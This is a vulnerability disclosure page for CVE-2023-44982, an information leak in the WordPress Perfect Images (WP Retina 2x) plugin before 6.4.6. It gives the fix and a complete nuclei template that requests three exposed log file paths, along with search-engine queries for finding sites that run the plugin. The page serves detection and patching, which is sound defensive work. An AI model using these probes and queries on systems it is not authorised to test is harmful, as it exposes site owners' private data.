WordPress Perfect Images (WP Retina 2x) < 6.4.6 - Sensitive Information Exposure

mediumseverity

5.3CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

Jordy Meow Perfect Images (Manage Image Sizes, Thumbnails, Replace, Retina) versions up to 6.4.5 contain a vulnerability that exposes sensitive information to unauthorized actors, letting attackers access confidential data, exploit requires no specific conditions.

Impact

Unauthorized actors can access sensitive information, leading to privacy breaches and potential data misuse.

Fix

Update to version 6.4.6 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wp-retina-2x/classes/wp-retina-2x.log ; GET {{BaseURL}}/wp-content/uploads/wp-retina-2x.log ; GET {{BaseURL}}/wp-content/uploads/wp-retina-2x-logs.txt
Positive when: contains "RETINA" and "PATH" and "thumbnail" and "wp-content" AND matches /\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}:/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-44982 -u <target>

The full check

id: CVE-2023-44982

info:
  name: WordPress Perfect Images (WP Retina 2x) < 6.4.6 - Sensitive Information Exposure
  author: pussycat0x
  severity: medium
  description: |
    Jordy Meow Perfect Images (Manage Image Sizes, Thumbnails, Replace, Retina) versions up to 6.4.5 contain a vulnerability that exposes sensitive information to unauthorized actors, letting attackers access confidential data, exploit requires no specific conditions.
  impact: |
    Unauthorized actors can access sensitive information, leading to privacy breaches and potential data misuse.
  remediation: |
    Update to version 6.4.6 or later.
  reference:
    - https://wpscan.com/vulnerability/aba0c4a1-e253-4b5b-b46d-239567567b16/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-44982
    cwe-id: CWE-200
    epss-score: 0.01425
    epss-percentile: 0.73141
  metadata:
    verified: true
    max-request: 3
    vendor: meowapps
    product: perfect-images
    framework: wordpress
    publicwww-query: "/wp-content/plugins/wp-retina-2x/"
    fofa-query: body="/wp-content/plugins/wp-retina-2x/"
  tags: cve,cve2023,wordpress,wp-plugin,wp-retina-2x

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-retina-2x/classes/wp-retina-2x.log"
      - "{{BaseURL}}/wp-content/uploads/wp-retina-2x.log"
      - "{{BaseURL}}/wp-content/uploads/wp-retina-2x-logs.txt"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "RETINA"
          - "PATH"
          - "thumbnail"
          - "wp-content"
          - "Full-Size"
          - "uploads"
        condition: and

      - type: regex
        part: body
        regex:
          - '\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}:'

      - type: status
        status:
          - 200

References

https://wpscan.com/vulnerability/aba0c4a1-e253-4b5b-b46d-239567567b16/

Use this check only on systems you are authorised to test. Where the data comes from